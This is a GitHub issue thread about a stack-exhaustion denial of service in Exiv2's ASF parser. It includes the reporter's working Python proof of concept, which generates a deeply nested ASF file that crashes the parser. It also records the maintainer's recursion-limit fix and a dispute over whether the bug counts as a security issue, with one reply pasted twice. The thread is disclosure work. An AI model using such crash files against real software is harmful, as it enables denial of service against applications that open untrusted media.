Potential denial-of-service issue in ASF parser (reported privately via GHSA)

[AsaadM0]

Describe the bug

A possible denial-of-service issue was discovered in the ASF parsing component of Exiv2 when handling malformed ASF files.

The issue was responsibly disclosed through GitHub Security Advisories for private review and coordinated handling.

To Reproduce

Detailed reproduction steps and the proof-of-concept file were shared privately in the related security advisory.

Expected behavior

Exiv2 should detect malformed or excessively nested ASF structures gracefully without entering uncontrolled recursion or crashing.

Desktop (please complete the following information):

• OS and version: Linux (Kali Linux / Ubuntu-based)
• Exiv2 version and source: 0.28.8
• Compiler and version: GCC
• Compilation mode and/or compiler flags: default build

Additional context

A private advisory including technical analysis, crash information, and a working PoC has already been submitted to the maintainers.

[AsaadM0]

@MuhammedHussein17

[kevinbackhouse]

This is the poc that they sent:

import struct

ASF_HEADER_GUID = bytes([
    0x30,0x26,0xB2,0x75, 0x8E,0x66, 0xCF,0x11,
    0xA6,0xD9, 0x00,0xAA,0x00,0x62,0xCE,0x6C,
])

def make_leaf():
    size = 30
    return ASF_HEADER_GUID + struct.pack("<Q", size) + struct.pack("<I", 0) + b"\x01\x02"

def wrap(child):
    size = 30 + len(child)
    return ASF_HEADER_GUID + struct.pack("<Q", size) + struct.pack("<I", 1) + b"\x01\x02" + child

data = make_leaf()
for _ in range(60000):
    data = wrap(data)

data += b"\x00" * 24

with open("poc.asf", "wb") as f:
    f.write(data)

It generates a 1.8MB file that causes a deep recursion. On my Ubuntu laptop, the default stack size limit is 8192KB, so it runs out of stack space and crashes. The poc doesn't cause any issue if you increase the stack space like this:

ulimit -s 10000000

I've added a recursion limit in #9304 but I don't consider this a security issue.

[AsaadM0]

Thank you for the fix in #9304.

We respectfully maintain that this qualifies as a security issue for the following reasons:

1. Default stack sizes: Most production systems use the default 8MB stack.
   Applications embedding libexiv2 cannot control the stack size of the
   process that calls them.

2. Attacker-controlled input: A crafted .asf file is a valid attack vector
   against any application that opens untrusted files with Exiv2 — including
   thumbnailers that run automatically.

3. Identical to CVE-2024-25112: MITRE assigned a CVE for the same bug class
   in the QuickTime parser. The fix pattern is identical. We believe
   consistent treatment is appropriate.

We have a pending MITRE request (ticket MCID15763279) and will update them
with the fix reference #9304.Thank you for the fix in #9304.

We respectfully maintain that this qualifies as a security issue for the following reasons:

1. Default stack sizes: Most production systems use the default 8MB stack.
   Applications embedding libexiv2 cannot control the stack size of the
   process that calls them.

2. Attacker-controlled input: A crafted .asf file is a valid attack vector
   against any application that opens untrusted files with Exiv2 — including
   thumbnailers that run automatically.

3. Identical to CVE-2024-25112: MITRE assigned a CVE for the same bug class
   in the QuickTime parser. The fix pattern is identical. We believe
   consistent treatment is appropriate.